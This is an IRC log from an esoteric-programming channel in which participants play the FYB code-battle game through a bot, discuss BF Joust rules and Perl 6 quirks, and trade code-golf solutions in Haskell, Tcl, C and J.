are obviously logs from the structure of the URL 21:29:14 -!- ais523 has set topic: Logs: . 21:29:18 there, that's better 21:29:20 The word "Logs:" could... 21:29:26 Meh. 21:29:33 I even spelled it the same way. 21:29:47 -!- GregorR has set topic: Logarithms: . 21:29:48 You must be some sort of thought-pire. 21:30:01 * GregorR whistles. 21:30:47 > {my $x = "αωω"; say ++$x;} 21:30:49 αÏÏ 21:30:51 ugh, Rakudo encoding fail 21:32:32 (^$B1?(B) 21:32:35 bu-n 21:37:03 * GregorR voodoos FYB at the channel. 21:37:12 You know you want to beat logicex-2! 21:37:16 Doooooooooit 21:37:36 GregorR: FYB? 21:37:37 Holy shit! 21:37:38 It's back? 21:37:43 !fybv 21:37:45 Err 21:37:47 !fyb 21:37:48 Use: !fyb 21:37:52 Hawt. 21:37:55 How do you show the scoreboard? 21:38:24 Right now when you submit a program it just runs it against all the other ones it's seen and gives you the total, when I get home tonight I'm integrating int-e's nice scoreboard (in some way) 21:38:36 GregorR: what's the additional instructions again 21:38:39 err, I forgot fyb 21:38:53 http://codu.org/eso/fyb/ // spec is here 21:39:24 -!- MigoMipo has left (?). 21:40:21 > | 3 | moves the data pointer to the right (looping if necessary) 21:40:23 GregorR: wat? 21:40:37 You have a pointer in the opponent's code. 21:40:38 GregorR: also, show logicex-2? :P 21:40:49 It's also on that site, under exa/ 21:42:09 !fyb :@%>+++++++++++++++[..............................................................................................................................................................................+]*;:++!>;* 21:42:09 Use: !fyb 21:42:12 !fyb butt :@%>+++++++++++++++[..............................................................................................................................................................................+]*;:++!>;* 21:42:12 butt won 0/20 21:42:16 :D 21:42:23 Well played :P 21:42:49 Oh! :-) 21:42:51 !fyb butt +[!>+] 21:42:51 butt won 0/20 21:42:54 :-( 21:43:09 When did fyb get added? 21:43:14 impomatic: Yesterday. 21:43:19 :-) 21:43:29 By the way, what happened to BF Joust? 21:43:30 :) 21:43:37 impomatic: Goethe the contestmaster deregistered 21:43:39 impomatic: BF Joust? 21:43:41 and it decontestified 21:43:50 Hm. 21:43:53 I want em to restart it, now might be a bad time though 21:44:02 e reregistered but Agora's rather busy with contest shenanigans atm 21:44:13 !fyb butt +[>+] 21:44:14 butt won 0/20 21:44:19 !fyb ++++++++++++++:!;* 21:44:19 anyway, my plans for BF Joust are: 21:44:20 Use: !fyb 21:44:22 !fyb butt ++++++++++++++:!;* 21:44:23 butt won 0/20 21:44:39 Stop calling them all butt :P 21:44:52 !fyb butt butt 21:44:53 butt won 0/20 21:45:12 Amazingly, the "only-comments" FYB program doesn't win so much :P 21:45:36 !fyb butt ++++++++++++++:{>}!;* 21:45:36 butt won 0/20 21:45:56 !fyb butt ++++++++++++++:{>>>>}!;* 21:45:56 butt won 0/20 21:46:11 Deewiant: You realize the chance of that actually committing a bomb is near-zero, right? 21:46:18 Committing? 21:46:34 Ah, so you're just poking around and haven't actually read the spec ;) 21:46:36 !fyb test {>}[+]++++++++++++++! 21:46:36 test won 0/22 21:46:55 -!- oerjan has joined. 21:47:05 GregorR: I don't get program buffers 21:47:16 I read what ! does but I don't get it :-P 21:47:40 Oh, I think I do 21:47:47 !fyb test {>}[+]++++++++++++++!; 21:47:47 test won 0/22 21:47:48 I have to modify space first using +- 21:47:52 And then ! 21:47:54 no - in FYB 21:47:58 Whatever 21:47:59 :-P 21:48:11 But anyway, ! on its own just... commits. 21:48:18 Yeah. 21:48:25 anyway, quick rules of ais523-modified BF joust: 21:48:29 Has anyone played with Corelife? It's a 2D version of corewar 21:48:31 The changes you make aren't in the program code until you commit them. 21:48:35 two BF programs share a tape, > for one program is < for the other 21:48:41 impomatic: Sweet. And no. 21:48:55 each starts at the < end of the tape from their own point of view on a cell with value 128, all other cells have value 0 21:49:04 programs run simultaneously, each command takes one tick 21:49:13 !fyb butt :{>>>>}++++++++++++++!;* 21:49:14 butt won 0/22 21:49:31 and if at the end of each of two consecutive turns, the starting value of the tape of a program is 0, that program loses 21:49:37 also, a program loses if it goes off the end of the tape 21:49:42 . and , are no-ops, but still take one tick 21:49:44 Hmm, it won't be zero will it now, hence the [+]. 21:50:44 Deewiant: {} searches for the opponent's program pointer, [] is like BF's. 21:50:49 !fyb butt :{>>>>}[+]++++++++++++++!;;{<<<}[+]++++++++++++++!;* 21:50:50 butt won 0/22 21:50:51 Deewiant: So that's not likely to be zero. 21:50:59 GregorR: Yeah, exactly. 21:50:59 -!- Hiato has quit (Read error: 60 (Operation timed out)). 21:51:14 Threads share the data pointer? 21:51:22 No. 21:51:48 Does the program buffer wraparound (if I <, do I get to the end)? 21:51:49 +++!;;{<< <-- notice a problem here :P 21:51:55 ais523: so ------- etc on the flag wouldn't win because it isn't 0 for 2 consecutive rounds. 21:51:57 Deewiant: Yes. 21:52:17 but [-] would win if run on the flag because it stops when it gets to zero 21:52:22 !fyb butt :{>>>>}[+]++++++++++++++!;:{<<<}[+]++++++++++++++!;* 21:52:23 butt won 0/22 21:52:26 ais523: And how big is the buffer in BF Joust, btw? 21:52:26 ^^ 21:52:53 GregorR: oh, it used to be rather long, but for my version I suggest random from 10 to 30 inclusive 21:52:59 In the one which was online before, about 130 21:53:13 because the old long buffer menat that you couldn't both attack and defend, and had plenty of time to set up defences 21:53:47 impomatic: yes, the two-rounds thing should invalidate most of the degenerate strategies from last time 21:53:56 and give defensive strategies an actual chance of working 21:54:25 woe betide anyone who tries [>[-]+] this time, they're likely to fall off the end against a defensive strategy 21:54:38 Maybe you should get to thread. 21:54:41 !fyb butt :{<}[+]++++++++++++++!; 21:54:41 butt won 6/22 21:54:44 Muah! 21:54:54 I win the internets 21:54:57 * GregorR has no idea what difference that made :P 21:55:05 !fyb butt :{>}[+]++++++++++++++!; 21:55:06 butt won 6/22 21:55:08 !fyb butt :{>}[+]++++++++++++++!;* 21:55:10 butt won 5/22 21:55:18 Hmm 21:55:26 Strange, did it just magically start working >_O 21:55:32 !fyb butt :{>>}[+]++++++++++++++!;* 21:55:32 butt won 10/22 21:55:34 !fyb butt :{>>>}[+]++++++++++++++!;* 21:55:36 butt won 4/22 21:55:36 !fyb butt :{>>>>}[+]++++++++++++++!;* 21:55:37 butt won 9/22 21:55:45 http://retrocode.blogspot.com/ 21:55:46 Maybe I typoed the number of + 21:55:47 :-P 21:56:10 !fyb butt :{>>>>}[+]++++++++++++++!;:{>>>>}[+]++++++++++++++!; 21:56:11 butt won 4/22 21:56:11 !fyb vejni +[:{>>}+;] 21:56:17 vejni won 0/24 21:56:27 !fyb pietje :{>>}[+]++++++++++++++!; 21:56:31 pietje won 5/26 21:56:35 !fyb pietje :{>>}[+]++++++++++++++!;* 21:56:36 pietje won 13/26 21:56:37 pikhq: Any given ':' can be spent, so doing it in a loop is mostly pointless. 21:56:46 Oh right, : only works once 21:56:52 !fyb pietje {>>}[+]++++++++++++++! 21:56:53 pietje won 12/26 21:57:06 !fyb pietje :fooooooooooooooooooooooooooooooooooooooooooooooooooooooooo;{>>}[+]++++++++++++++! 21:57:08 pietje won 9/26 21:57:12 GregorR: I was doing random symbols. Wee. 21:57:19 !fyb pietje :************************;{>>}[+]++++++++++++++! 21:57:21 pietje won 10/26 21:57:24 !fyb pietje :***********************;{>>}[+]++++++++++++++! 21:57:25 pietje won 15/26 21:57:30 This is so random :-P 21:57:34 !fyb pietje :**********************;{>>}[+]++++++++++++++! 21:57:35 pietje won 10/26 21:57:38 !fyb pietje :***********************;{>>}[+]++++++++++++++! 21:57:38 pietje won 15/26 21:57:40 !fyb vejni All of this is a comment. Really. 21:57:42 !fyb pietje :{>>}<[-]++++++++++++++!;* 21:57:42 I'll stick with that 21:57:43 vejni won 3/26 21:57:48 pietje won 4/26 21:57:51 Hey, don't overwrite pietje 21:57:52 Wow. 21:57:53 Stick with butt 21:57:56 k 21:58:07 !fyb pietje :***********************;{>>}[+]++++++++++++++!:****; 21:58:07 !fyb butt :{>>}[-]<+>++++++++++++++!;* 21:58:09 pietje won 13/26 21:58:10 butt won 7/26 21:58:13 !fyb pietje :***********************;{>>}[+]++++++++++++++! 21:58:14 pietje won 15/26 21:58:16 !fyb vejni 21:58:16 Use: !fyb 21:58:25 !fyb vejni 21:58:25 Use: !fyb 21:58:38 !fyb vejni f 21:58:41 vejni won 3/26 21:58:41 http://retrocode.blogspot.com/2009/02/bf-joust-hill.html 21:58:53 pikhq: Impressive ;P 21:58:59 O_o 21:59:01 :) 21:59:08 !fyb comment // 21:59:12 comment won 3/28 21:59:12 !fyb butt :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: 21:59:13 butt won 0/28 21:59:16 !fyb butt ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::;;;;;;;;;;;;;;;; 21:59:17 butt won 0/28 21:59:20 !fyb butt ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::>+;;;;;;;;;;;;;;;; 21:59:21 butt won 0/28 21:59:22 !fyb comment // 21:59:23 !fyb butt ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::>+!;;;;;;;;;;;;;;;; 21:59:25 butt won 0/28 21:59:31 ehird: Each thread is one more point of weakness. 21:59:33 I'm afraid that null beats doing stuff. 21:59:39 !fyb pietje :***********************;{>>}[+]++++++++++++++! 21:59:41 pietje won 15/28 21:59:42 comment won 3/28 21:59:47 !fyb pietje :***********************;{<<}[+]++++++++++++++! 22:00:03 pietje won 9/28 22:00:13 !fyb {>}[-]++++++++++++++! 22:00:14 Use: !fyb 22:00:15 er 22:00:17 !fyb butt {>}[-]++++++++++++++! 22:00:20 !fyb pietje :***********************;{>>}[+]++++++++++++++! 22:00:22 pietje won 17/28 22:00:25 ehird: There's no - 22:00:25 * ehird kicks EgoBot 22:00:29 oh. 22:00:30 why. 22:00:32 !fyb vejni + 22:00:33 Ask GregorR 22:00:49 !fyb butt {>}[+]++++++++++++++! 22:00:49 Anyway, I'm going to stick with the 'this is random as hell' stance 22:00:51 butt won 11/28 22:00:51 butt won 6/28 22:00:58 Deewiant: evidently there is a - 22:01:03 try ircbrowse.com or something <<< i thought that died, it was the one cmeme used 22:01:05 because my [-] won more :P 22:01:07 ehird: Not in the README 22:01:08 oerjan: indeed 22:01:18 There's no - because that would make putting bombs much quicker and easier. 22:01:22 vejni won 3/28 22:01:25 !fyb butt +[{>}[+]++++++++++++++!] 22:01:25 !fyb comment {>}[x]++++++++++++++! 22:01:38 butt won 11/28 22:01:51 it was very nice when it worked, although often horribly slow 22:01:51 comment won 5/28 22:02:03 * GregorR wonders why he can't kill the tide of fukyorbranes :P 22:02:03 GregorR: what does the any given : thing mean 22:02:14 !fyb butt +[:{>}[+]++++++++++++++!;] 22:02:19 !fyb selfdestruct ?[>]++++++++++++++! 22:02:20 | | NOTE: any given : will only fork once, then it's spent 22:02:22 butt won 7/28 22:02:24 selfdestruct won 6/30 22:02:24 fizzie: impssible 22:02:28 *impossible 22:02:29 er 22:02:30 ais523: 22:02:31 err, how did selfdestruct win so much? 22:02:37 sheer luck 22:02:38 ehird: If you put a : in your code, the forking will happen only the first time it's executed. 22:02:38 ? is defect, right? 22:02:42 ehird: But you can have multiple :. 22:02:46 ehird: If it comes across a ':' at that program position again, it will not fork again. 22:02:48 I was trying to get it to suicide by putting a bomb in its /own/ code 22:02:57 ais523: | | NOTE: You cannot set a bomb in your own program, so it doesn't have a character. 22:03:01 GregorR: darn. 22:03:03 ais523: Except your own code has no %'s, so that's an infinite loop. 22:03:05 ehird: That's different. 22:03:13 !fyb selfdestruct ?[>]++++++++++++++!% 22:03:15 !fyb butt * 22:03:16 That just means you can't place one directly. 22:03:16 butt won 2/30 22:03:19 selfdestruct won 8/30 22:03:23 lol 22:03:26 GregorR: ok, it does even better now 22:03:26 how did that win 2 22:03:35 they killed themselves in less than one tick? 22:03:38 :-D 22:03:42 !fyb blank 22:03:42 Use: !fyb 22:03:44 !fyb blank 22:03:45 Use: !fyb 22:03:46 Aw 22:03:49 !fyb blank 22:03:49 Use: !fyb 22:03:53 and you can set a bomb, just only by self-editing 22:03:56 !fyb blank comment 22:03:57 ais523: no you can't! 22:04:02 | | NOTE: You cannot set a bomb in your own program, so it doesn't have a character. 22:04:03 | | NOTE: You cannot set a bomb in your own program, so it doesn't have a character. 22:04:05 I wanted a blank blank 22:04:08 blank won 6/32 22:04:11 ais523: s/so/as/ 22:04:15 Err 22:04:16 ehird: 22:04:18 Actually, you can set up us the bomb. 22:04:23 ehird: that spec note is misleading, in that you can't set a bomb in the initial program 22:04:25 That note is misleading. 22:04:27 but you can edit one into your own program later 22:04:29 bah, fine 22:04:35 GregorR: s/so/as/? 22:04:41 I'll fix that when I get home tonight. 22:04:50 !fyb butt +[@+!] 22:04:56 Deewiant: That's both 'so' and 'as', actually :P 22:04:57 butt won 1/32 22:05:06 Meh :-P 22:05:09 Deewiant: I didn't give it a character because you're not allowed to put one in your source. 22:05:16 Yes, indeed 22:05:28 I still think 'as' would be better ;-) 22:05:37 !fyb buttstolen :{>}[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+]]]]]]]]]]]]]]]+++++++++++++!>%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%;:@[>+++]!;* 22:05:38 buttstolen won 6/34 22:06:00 !fyb pietje :***********************;{>>}[+]++++++++++++++! 22:06:01 pietje won 23/34 22:06:07 Deewiant: what does pietje mean? 22:06:22 !fyb pietje :**************************************************************************************************************************************************************************************************************************************;{>>}[+]++++++++++++++! 22:06:24 er 22:06:25 ups 22:06:27 meant to rename to butt 22:06:29 sry 22:06:34 pietje won 22/34 22:06:34 did EgoBot ded 22:06:35 !fyb pietje :***********************;{>>}[+]++++++++++++++! 22:06:36 o 22:06:36 pietje won 23/34 22:06:52 !fyb pietje ::**********;*;{>>}[+]++++++++++++++! 22:06:53 pietje won 17/34 22:06:56 !fyb pietje :***********************;{>>}[+]++++++++++++++! 22:06:57 oops 22:06:57 pietje won 23/34 22:06:59 sry 22:07:03 !fyb butt ::**********;;{>>}[+]++++++++++++++! 22:07:21 Pietje is a Dutch name 22:07:22 * ehird knocks EgoBot 22:07:35 I use it where somebody else might use "Jack" 22:07:35 GregorR: wat 22:07:42 butt won 10/34 22:08:07 !fyb butt ::**********;;:{>>}[+]++++++++++++++!; 22:08:08 butt won 12/34 22:08:12 \o/ 22:08:18 !fyb butt ::**********;;::{>>}[+]++++++++++++++!*;; 22:08:19 butt won 0/34 22:08:25 Zzz -> 22:08:28 !fyb butt ::**********;;:{>>}[+]++++++++++++++!*; 22:08:29 butt won 12/34 22:08:40 !fyb butt ::**********;;:[{>>}[+]++++++++++++++!]*; 22:08:58 butt won 10/34 22:10:04 http://codu.org/eso/fyb/report.txt is now automatically generated. Although it looks a bit freaky mid-generation :P 22:10:26 GregorR: can you order it properly? 22:10:53 ehird: You mean by points? I can if you write a new mkreport program that does that ;) 22:11:01 <_< 22:11:03 can't be hard 22:11:45 It would be even easier if I made a new version of fukyorbrane that exited with a status code specifying which one won rather than having to parse its text output (I was an idiot in 2005 :P ) 22:15:29 ehird: The only reason why it's "hard" is that the current one is just a simple script that outputs as it goes, doesn't keep any info around. 22:16:24 Pipe it into sort. 22:16:33 pikhq: Look at the output then say that again :P 22:16:53 Oh, btw, like the rest of EgoBot, !fyb accepts URLs, so don't think you have to fit these in an IRC line :P 22:17:10 more fun that way 22:17:18 -!- impomatic has left (?). 22:17:48 GregorR: is !fyb programmed any differently from the rest of EgoBot? 22:17:50 night 22:17:59 I should write a !bfjoust so we can have that too 22:18:02 and night AnMaster 22:18:14 ais523: It's just another scmd. Feel free to check out the source. 22:18:18 ais523: That would be sveet. 22:19:29 GregorR: I assume you have it as a shell script? 22:19:40 Yeah X-P 22:19:49 But there's nothing shell-script-dependent about multibot of course. 22:19:54 Trivial, then. 22:20:00 Erm. mkreport, I mean. 22:20:07 Oh 22:20:15 Yeah, that's a shell script. 22:21:21 sort is really insanely flexible. ;) 22:21:42 Hmm. Where is this script, anyways? 22:21:57 The mkreport that that uses presently only exists in EgoBot. 22:21:58 Found it. 22:22:08 (I managed to hunt down int-e and get a copy of it, he made it in the first place) 22:22:24 So, codu.org/eso/fyb/in_egobot/mkreport.sh 22:22:36 Yup 22:23:26 * GregorR leaves for home, he'll see everybody in either fifteen minutes or forty-five minutes depending on how hungry he gets on the way. 22:23:37 Gxis. 22:23:44 Gxis? 22:24:02 YOU HEARD 'IM 22:24:27 ehird: Short for "Gxis la revidu." 22:33:21 -!- ais523_ has joined. 22:33:53 -!- ais523 has quit (Nick collision from services.). 22:33:54 -!- ais523_ has changed nick to ais523. 23:02:52 wow, Perl6 has short-circuit exclusive or 23:02:59 which can only happen if you write $a ^^ $b ^^ $c 23:03:11 which is different from ($a ^^ $b) ^^ $c 23:04:53 ais523: :D 23:04:54 wwaaaat 23:04:55 *waaaaaat 23:05:17 $a ^^ $b ^^ $c means "exactly one of $a, $b, $c is true" 23:22:17 The US International keyboard layout refuses to put a circumflex over a g. 23:23:03 â ^b ^c ^d ê ^f ^g ^h î ^j ^k ^l ^m ^n ô ^p ^q ^r ^s ^t û ^v ^w ^x ^y ^z 23:23:08 Proper vowels only. 23:23:13 ḧ 23:23:36 that's the only ones in latin-1 i think 23:23:54 it's the same with a norwegian keyboard 23:23:57 ḧ 23:24:14 I want a keyboard that can make circumflex-g. 23:24:26 Hmm, I wonder if I can find an Esperanto keyboard layout. 23:24:39 "First of all, these fears are nonsense. C and C++ are never going to disappear. Why? Because there are classes of programming problems that are still and will always be CPU bound and there is still no language as fast as C or C++ for these problems. I highly doubt that there ever will be. " 23:24:40 Fail 23:25:35 I can type English (Zimbabwe) and Estonian (Estonia), but nothing in between. 23:25:38 -!- olsner has quit ("Leaving"). 23:26:26 Too bad Esperanto is something like the only language with those characters. 23:26:36 ehird: there was that experiment recently in which an OCaml program turned out to be faster than an equivalent C program 23:26:42 yep 23:26:43 although the C program was probably badly written 23:26:47 death to C! 23:27:03 kerlo: look at the Esperanto Wikipedia, they have their own format for writing Esperanto in 23:27:38 -!- puzzlet_ has joined. 23:28:28 it basically involves writing x after a letter to circumflex it 23:28:32 but there are a few special cases 23:29:45 Wow. The source code does indeed contain x like that. 23:29:49 What are the special cases? 23:30:47 ehird: A well-written assembly program can at least match the C program. ;) 23:31:03 kerlo: I don't know off by heart 23:31:10 pikhq: Unlikely. Modern CPUs are insane. 23:31:18 well, maybe it can beat gcc 23:31:19 I don't know Esperanto, so I've never bothered to learn how to write in the Esperanto Wikipedia 23:31:22 gcc isn't the best at optimizing... 23:31:27 Irrelevant. 23:31:38 but I think it's to do with cases where you actually want an x, and with capital letters 23:31:52 pikhq: "well-written" probably comes to "identical to the compiler's output". 23:31:59 The CPU being insanely good has *nothing* to do with how fast assembly is compared to C. 23:32:13 pikhq: CPUs nowadays are so complex that writing asm for them by hand is very fast 23:32:16 *very hard 23:32:27 pikhq: The only way to beat a good compiler is to generate the same code nowadays. 23:32:32 ais523: Well, yes. 23:32:34 It's as simple as that 23:33:04 ehird: In some cases, the assembly programmer will generate better code. 23:33:08 (no optimiser is perfect) 23:33:18 Very few nowadays I would imagine. 23:33:23 And no human optimizer is perfect. 23:33:32 Obviously, in general, the assembly programmer will be, at best, generating equivalent code... 23:33:56 are the microcode specs for modern cpus available? 23:34:02 Of course, all this is in response to someone claiming that there is no language as fast as C... 23:34:05 you could improve an optimizer a lot with those, I imagine 23:34:09 Which, frankly, is dumb. 23:34:20 yeah 23:34:27 if we're still coding C in 50 years I'll weep 23:34:42 Assembly is just the *obvious* language with similar performance. 23:35:00 "C: 0.8 seconds. 23:35:00 C++: 2.3 seconds. 23:35:01 OCaml: 0.6 seconds interpreted, 0.3 seconds fully compiled. 23:35:03 Java: 1 minute 20 seconds. 23:35:05 Python: over 5 minutes." 23:35:08 Sorry, similar performance characteristics. 23:35:10 OCaml is insanely fast. Wonder if you could get Haskell that fast. 23:36:36 It'd take a lot of work, but I bet you could. 23:36:50 pikhq: Oh, there are C-competitive Haskell programs. 23:36:54 Also, I wonder how that Java program is when compiled to machine code. 23:37:05 Put a bit of inlining hints, some strict-forcing bang-patterns. 23:37:08 I wonder if asm is beatable? 23:37:16 pikhq: he said that in a few years java took 0.7s with 1s startup time 23:37:19 maybe by using undocumented machinecode opcodes that can't be generated from the asm? 23:37:21 after he wrote it 23:37:24 or by compiling straight to hardware? 23:37:28 going home, anyway 23:37:29 ais523: can you run microcode? 23:37:37 if not by a supported way, via an exploit? 23:37:38 if so, yes. 23:37:44 ais523: Theoretically, no. In practice? Possibly. 23:37:45 ehird: no idea, it's certainly worth thinking about though 23:37:52 I wasn't lying about going home, though 23:37:53 -!- ais523 has quit (Remote closed the connection). 23:38:24 If you assume a perfect assembly programmer, this hypothetical programmer will always be able to generate code that is at least as fast as its competition. 23:38:29 Of course, no man is perfect. 23:38:45 If you assume a perfect assembly programmer, that there was the singularity. 23:39:00 In many cases, English is faster than any programming language. 23:39:15 kerlo: Not for computer execution. 23:39:41 I don't have to defend my point because I've forgotten what I meant by it. 23:39:49 kerlo: Take any number of words on the command line; sum the ASCII digits of each one, then take the product and print it out. 23:40:06 main = interact (show . product . map (sum . ord) . words) 23:40:12 Haskell wins. 23:40:26 -!- puzzlet has quit (Read error: 110 (Connection timed out)). 23:40:27 Er, wait, that's invalid 23:40:31 main = interact (show . product . map (sum . map ord) . words) 23:40:32 There 23:40:49 Ah, you want a newline at the end of that 23:40:56 main = interact ((++ "\n") . show . product . map (sum . map ord) . words) 23:40:57 Voila. 23:41:05 Shorter than the English and about as readable. 23:43:17 foreach $args i {incr ::sum [expr [join [split $i {}] "+"]]};puts $sum 23:43:28 (why doesn't Tcl have a builtin map?) 23:43:29 pikhq: I can golf, also: 23:43:37 main = print . product . map (sum . map ord) . words =<< getContents 23:43:42 main=interact$(++"\n").show.product.map(sum.map ord).words 23:44:46 also 23:44:48 pikhq: that's not it 23:44:49 you forgot the product 23:44:53 hello world 23:44:53 is 23:45:06 ('h'+'e'+'l'+'l'+'o')*('w'+'o'+'r'+'l'+'d') 23:45:08 pikhq: get it? 23:45:18 Oh. Well, then. Just a sec. 23:45:20 So you have to do that shorter than main=interact$(++"\n").show.product.map(sum.map ord).words 23:45:22 Good luck :-P 23:45:47 main=print.product.map(sum.map ord).words=< I'm trying to do it elegantly; sorry. ;) 23:45:59 oerjan: very good 23:46:17 since print includes show and ++"\n" automatically 23:46:21 pikhq: good luck getting more elegant than main = print . product . map (sum . map ord) . words =<< getContents 23:46:22 oerjan: yep 23:46:29 I wanted that at first 23:47:52 Foobarf. 23:48:05 GregorR: wtf is wrong with my/oerjan's code 23:48:14 ? 23:48:15 amusingly, it has NO foos and bars, it has no names 23:48:17 oh 23:48:24 I thought foobarf was barfing at my/oerjan's code :P 23:48:31 proc map {lambda x} {foreach $x i {lappend ret [apply {*}$lambda $i]}};puts [* {*}[map {{x} {+ {*}[split $i {}]]} 23:48:42 pikhq: Now THAT's barf-worthy. 23:48:45 That'd be so much more shorter if I didn't have to implement map first. 23:48:59 Even without the map, it'd take me a while to figure out even the algorithm from that. 23:49:02 I see there are no new FYB programs X-P 23:49:05 I'm going to enroll #haskell to golf it :P 23:49:20 * oerjan does a little dance 23:49:28 no trojan virus today 23:49:39 oerjan: lawl 23:49:41 well, found, anyway 23:49:47 Fine, y'want golf? 23:49:57 pikhq: Absolutely. 23:50:09 Haskell, in its divine elegance, can stay beautiful and tiny at the same time. 23:50:15 You have no chance to survive, make your Tcl. 23:50:23 C. 23:50:31 You think C will be shorter? 23:50:33 Hohohohoho 23:50:38 We can defeat your follies. 23:51:37 If I'm allowed to define the programming language, than I can always write a program shorter and clearer than Haskell :P 23:52:01 Oh, you wrote 99 Bottles of Beer in 200 characters of Haskell? Well, I just wrote it in one character of HQ9+ 23:52:02 GregorR: Yeah, but we won't listen to you :-) 23:54:47 pikhq: Welp? 23:55:32 main=getContents>>= \c->print$product[sum$map ord w|w<-words c] 23:55:48 on which planet is this shorter, oerjan? 23:55:53 main=print.product.map(sum.map ord).words=< i just wanted to write it out to check 23:56:03 ah 23:56:03 :P 23:56:05 i,c,d;main(a,char**b){(**b)?c*=main(a-1,b++)return;:while(*b[i],d+=*b[i++]);return d;} 23:56:09 * pikhq can't win 23:56:18 And that's not quite right. 23:56:26 pikhq: 31 characters extra to do it wrong fail :-) 23:56:32 since some of that mapping could be removed with a list comprehension 23:56:41 see how awesome haskell is pikhq? 23:56:57 GregorR: Any way of getting command line arguments in Plof? 23:57:15 pikhq: Not presently :P 23:57:24 Argh. 23:57:36 pikhq: command line arguments? 23:57:40 Sir, we use stdin. 23:57:44 That's what the Haskell dose. 23:57:45 *does 23:57:51 well... 23:57:57 oerjan: what 23:58:46 main=print.product.map(sum.map ord)=< of cours 23:58:53 e 23:58:53 except you need an import as well 23:59:01 we need an import for Data.Char 23:59:06 but let's just assume we don't 23:59:06 oh 23:59:13 because imports are silly 23:59:13 use fromEnum 23:59:18 oh? 23:59:42 oerjan: oh? 23:59:46 ord = fromEnum, type restricted 23:59:53 that's longer, my son. 23:59:59 other languages can ignore imports too 2009-05-06: 00:00:00 so it's fair 00:00:03 heh 00:01:02 pikhq: anyway, bow down to haskell 00:01:36 If Tcl had map: 00:01:42 It doesn't. 00:01:55 puts [* {*}[map {{x} {+ {*}[split $i {}]]} 00:02:03 pikhq: Where does that read from stdin? 00:02:15 s/i/args/ 00:02:19 And you said command line, sir. 00:02:19 pikhq: Nope. 00:02:21 It's STDIN. 00:02:23 main=print.product.map(sum.map ord).words=< That uses stdin, 00:02:28 *. 00:02:38 main=print.product.(sum.map ord<$>).words=< i think 00:02:40 pikhq: i never said that btw 00:02:41 So, you're writing a program different from what you asked for. 00:02:47 no 00:02:49 i didn't ask for that 00:02:53 it's stdin, kay? 00:02:53 17:39 < ehird> kerlo: Take any number of words on the command line; sum the ASCII digits of each one, then take the product and print it out. 00:02:57 ehird: actually you did 00:03:01 pikhq: oh 00:03:04 it was a simple thinko, kay? 00:03:11 the haskell is longer with stdin than args, so it's not bias 00:03:23 00:02 oerjan: main=print.product.(sum.map ord<$>).words=< same length 00:03:30 and another import 00:03:34 ehird: ^ if we can ignore imports, <$> could help 00:03:41 it's the same length! 00:03:44 huh? 00:03:49 oh right 00:04:10 puts [* {*}[map {x} {+ {*}[split [read stdin] {}]}]] then 00:04:31 pikhq: kay, I'm sure I can beat that 00:05:06 * pikhq hopes someone bothered sticking map in Tcl 8.6... 00:05:35 % puts [* {*}[map {x} {+ {*}[split [read stdin] {}]}]] 00:05:35 extra characters after close-brace 00:05:39 pikhq: 'splain yourself 00:06:10 ehird: You're not using Tcl 8.5. 00:06:20 pikhq: eh 00:06:23 what does it output when you give it 00:06:24 {*} and lambda were added in 8.5 00:06:28 ab cd\n{EOF} 00:06:43 Dunno; I'm not actually testing these. :p 00:06:53 Try? 00:07:13 Also, I myself don't have Tcl 8.5 for some reason. 00:07:27 >.< 00:07:38 pikhq: what do you think it outputs for ab cd\n{EOF}? 00:07:45 it should be 38805 00:08:26 Yeah. 00:08:55 any of the J connoiseurs want to try? 00:09:00 pikhq: note that, if we allow omitting the main=, my fundamental code is smaller than yours 00:09:02 oerjan: sure, I will 00:09:24 oerjan: but j's support for shit like ascii codes is verbose 00:09:24 -!- psygnisfive has quit (Remote closed the connection). 00:09:28 oh 00:09:37 it has them though 00:09:44 because it probably pwns on the rest 00:09:49 yep 00:10:55 oerjan: well, not quite 00:11:01 you can't have an array of arrays 00:11:09 just a box-array of arrays or a 2d array 00:11:16 oh 00:13:51 oerjan: the basic algo: 00:13:52 */+/2 2$97 98 99 100 00:13:53 38808 00:13:55 so 00:13:59 prodsums =: */+/ 00:14:12 (2 2 $ a b c d = 2d array: first col a b second c d ) 00:14:15 (it's just a reshape) 00:15:15 oerjan: i'll look up the foreign stuff 00:16:10 (1!:1)3 is the contents of stdin 00:16:45 i see nothing for splitting strings :-( 00:17:43 oh well 00:18:14 oerjan: but (product.map sum) is */+/ 00:19:16 oerjan: which is odd, because 00:19:23 v/ (v:verb) is v fold 00:19:27 +/ 1 2 3 → 6 00:19:36 so it's */ (+/ foo) 00:19:45 BUT 00:19:51 oerjan: here's the clever part 00:19:53 it boils down to 00:20:10 (97 98)+(99 100) 00:20:10 196 198 00:20:14 see? 00:20:18 then we fold * over it 00:20:30 it's a consequence of using multi-d arrays; when we treat them as 1d arrays we get each row as a single element 00:20:33 oerjan: clever, eh? 00:21:43 huh 00:22:09 and that's how using multi-d arrays and a nice commutative-in-every-which-way operation like + you can fold to map. Yo dawg. 00:33:20 -!- Gracenotes has joined. 00:33:25 hi Gracenotes 00:33:28 we were just using folds to map 00:34:18 hm 00:34:44 greetings sir 00:34:54 ohai, I'm going to a concert in 6 minutes 00:34:58 who 00:35:01 there is a way to do that in haskell too 00:35:07 just my university orchestra 00:35:15 oerjan: yes, but only with + defined on lists 00:35:17 map f = foldr ((:).f) [] 00:35:19 oh btw foldr ((:) . f) [] :o 00:35:19 to do vector addition 00:35:20 oh 00:35:21 duh 00:35:23 mine's more general 00:35:25 well 00:35:27 no 00:35:29 it's more specific 00:35:31 specifically 00:35:31 Gracenotes: heh 00:35:33 Gracenotes: +/ in J can map 00:35:35 even though it's (plus fold) 00:35:37 oerjan: mwahhaha! 00:35:50 if you give it a 2d array it treats it as 1d, and gets each row as an elemement 00:35:53 so if you have 00:35:59 [[97,98],[99,100]] 00:36:01 in a 2d array 00:36:02 it becomes 00:36:04 -!- coppro has joined. 00:36:05 J... should learn ... 00:36:05 (97 98)+(99 100) 00:36:09 = 196 198 00:36:14 Gracenotes: good for code golfing. 00:36:19 which is map sum [[97,98],[99,100]] 00:36:27 